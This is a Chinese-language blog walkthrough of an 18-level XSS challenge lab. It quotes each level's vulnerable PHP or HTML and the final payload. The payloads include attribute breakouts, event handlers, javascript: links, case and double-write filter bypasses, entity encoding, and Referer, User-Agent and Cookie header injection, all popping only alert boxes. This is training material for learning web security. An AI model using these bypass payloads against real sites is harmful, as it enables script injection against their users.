0%

XSS挑战

0

一天5题

2020-1-14

Level 1

直接输入<script>alert('杨子桢')</script>注入

1-1

注入成功

1-2

Level 2

2-1

有一个输入框,先输入<script>alert('杨子桢')</script>,注入失败

2-2

查看网页源码

1
<input name=keyword  value="<script>alert('杨子桢')</script>">

根据源码可知,该题的注入点在input标签里,所以先闭合<input name=keyword value="再构造<script>alert('杨子桢')</script>即可

最终payload为

1
"><script>alert('杨子桢')</script>

2-3

Level 3

3-1

查看网页源码

1
<input name=keyword  value=''>

此题与Level 2的注入点唯一的不同在于此题使用'闭合,将Level 2的payload中"改为'即可

输入'><script>alert('杨子桢')</script>发现并没有注入成功

查看网页源代码

1
2
3
<h2 align=center>没有找到和'&gt;&lt;script&gt;alert('杨子桢')&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value=''&gt;&lt;script&gt;alert('杨子桢')&lt;/script&gt;'>

发现输入的特殊字符被转义了,改用onclickonmouseover等事件进行弹窗试试

输入' onclick=alert('杨子桢'),注入依旧失败

查看网页源代码

1
<input name=keyword  value='' onclick=alert('杨子桢')'>

需要使用//将后面的>注释掉

所以最终的payload为

1
' onclick=alert('杨子桢')//

3-2

Level 4

4-1

查看网页源代码

1
<input name=keyword  value="try harder!">

此题Level 3的注入点唯一的不同在于此题使用"闭合,将Level 3的payload中'改为"即可

最终payload为

1
" onclick=alert('杨子桢')//

4-2

Level 5

5-1

查看网页源代码

1
<input name=keyword  value="find a way out!">

输入"><script>alert('杨子桢')</script>注入失败

查看网页源代码

1
2
<h2 align=center>没有找到和&quot;&gt;&lt;script&gt;alert('杨子桢')&lt;/script&gt;相关的结果.</h2><center>
<input name=keyword value=""><scr_ipt>alert('杨子桢')</script>">

该关卡首先将特殊字符进行转义,之后又将script替换成scr_ipt

再试试" onclick=alert('杨子桢')//

1
2
<h2 align=center>没有找到和&quot; onclick=alert('杨子桢')//相关的结果.</h2><center>
<input name=keyword value="" o_nclick=alert('杨子桢')//">

on替换成o_n

查看后端源代码进行注入分析

1
2
3
4
5
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword value="'.$str3.'">

该关卡可以构造不含这些的标签或属性

这里先闭合input再利用<a>标签进行弹窗

最终payload为

1
"><a href="javascript:alert('杨子桢')">no-timing</a>//

5-2

2020-1-15

Level 6

6-1

查看后端源代码

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">

发现该关卡相较Level 5的基础上,多过滤了scrhrefdata

尝试大小写绕过即成功

最终payload为

1
"><a HREF="javascript:alert('杨子桢')">no-timing</a>//

6-2

Leve 7

7-1

查看后端源代码

1
2
3
4
5
6
7
8
9
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">

观察此关卡XSS的防御,先将输入转换成小写,再将输入的标签转换成空字符

此时可以使用双写绕过即可成功

最终payload为

1
"><a hrhrefef="javascrscriptipt:alert('杨子桢')">no-timing</a>//

7-2

Level 8

8-1

该关卡多了一个添加友情链接,查看后端源代码分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

该关卡将大小写绕过失效,标签转换,但尖括号<> ,单引号 ‘ ,% ,# ,& 符号没有被过滤,输出点在<a>标签内,<href>属性中,属性中双引号被转换成HTML实体,无法截断属性,所以直接用实体编码绕过。 [HTML字符实体转换][https://www.qqxiuzi.cn/bianma/zifushiti.php]

最终payload为

1
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('杨子桢')

8-2

Level 9

9-1

Level 8一样,也有一个添加友情链接

查看后端源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

经过分析,发现该关卡与上个关卡不同在于多了一个检测url的点,如果发现没有带http://内容则会显示不合法,所以根据Level 8的payload利用注释构造一个带http://的payload即可

最终payload为

1
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('杨子桢')//http://www.baidu.com

9-2

Level 10

10-1

题目没有给输入框,查看后端源代码分析

1
2
3
4
5
6
7
8
9
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">

发现该题有三个参数,t_linkt_historyt_sort,同时,尖括号<>都被转换成空,还有一个隐藏的<form id=search>, 先构造?t_link=no-timing&t_history=no-timing&t_sort=no-timing

查看此时的网页源代码

1
2
3
4
5
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="no-timing" type="hidden">
</form>

发现,t_sort可以作为注入点,此时由于尖括号被过滤,则使用事件进行弹窗。

最终payload为

1
?t_sort=" type="text" onclick = alert('杨子桢')//

2020-1-16

Level 11

11-1

没有输入框,先看看网页源代码

1
2
3
4
5
6
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ref" value="" type="hidden">
</form>

发现与上一题相比,多了一个参数t_ref,没有思路

再查看后端源代码

1
2
3
4
5
6
7
8
9
10
11
12
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>

发现相比上一关,多了一个$str11=$_SERVER['HTTP_REFERER'];,推测是http头部注入

用burp抓包,修改相应的字段,构造http头部Referer的payload

1
" onclick=alert(1) type="text" //

11-2

点击Forword,注入成功

11-3

Level 12

12-1

与上一关一样,没有输入框,查看网页源代码

1
2
3
4
5
6
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" type="hidden">
</form>

这里多了一个t_ua,大胆猜测此关卡是利用User-Agent注入

抓包并且构造http头部User-Agent的payload

1
" onclick=alert(1) type="text" //

12-2

在线网站注入的时候他居然封了我的IP。。。。没办法只能搭本地的xss挑战了

12-4

重新抓包修改User-Agent

12-3

Level 13

13-1

查看网页源代码

1
2
3
4
5
6
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_cook" value="" type="hidden">
</form>

此关卡是 cookie类型的注入

抓包构造payload

1
user=" onclick=alert(1) type="text" //

13-2

13-3

Level 14

14-1

查看页面源代码

1
<iframe name="leftframe" marginwidth=10 marginheight=10 src="https://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe>

此题通过iframe标签引入了一个http://exofvoewer.org

百度了一下,这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS,借鉴一下dalao的题解

14-2

14-3

14-4

14-5

Level 15

15-1

什么都没有,先看看页面源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<body><span class="ng-include:"></span></body>

毫无头绪,参考网上的题解,这里使用了AngularJS框架的 [ng-include 指令][https://www.runoob.com/angularjs/ng-ng-include.html] ,利用ng-include 指令用于包含外部的 HTML 文件

默认情况下,包含的文件需要包含在同一个域名下,所以网上的题解大多数是利用第一关的代码,payload为

1
?src='level1.php?name=test<img src=1 onerror=alert(1)>'

但其实不用这么麻烦,因为引用的名字会直接出现在源码里

15-2

所以可以构造payload

1
?src="><img src="yzz" onerror=alert(1)>

15-3

Level 16

16-1

查看网页源代码,什么都没有发现,再看看后端源代码

1
2
3
4
5
6
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";

发现该关卡无法进行大小写绕过,特殊字符也被转义成&nbsp;空格也被过滤了,考虑使用%0a代替空格进行绕过

最终payload为

1
?keyword=<img%0asrc=x%0aonerror=alert(1)>

16-2

Level 17

17-1

这一关的flash我的浏览器好像没有显示,可能是不支持了吧,但这里跟flash没关系

观察url,发现有2个参数arg01arg02

1
https://xss.tesla-space.com/level17.php?arg01=a&arg02=b

查看网页源代码

1
<embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>

发现<embed>标签的src会输出这两个参数,应该是注入点

再看看后端源代码

1
2
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

发现输入的参数经过htmlspecialchars函数过滤,考虑使用事件绕过

最终的payload为

1
?arg01=123&arg02= onclick=alert(1)

Level 18

18-1

这一关跟上一关一样,flash显示不出来,但是payload也一样

1
?arg01=123&arg02= onclick=alert(1)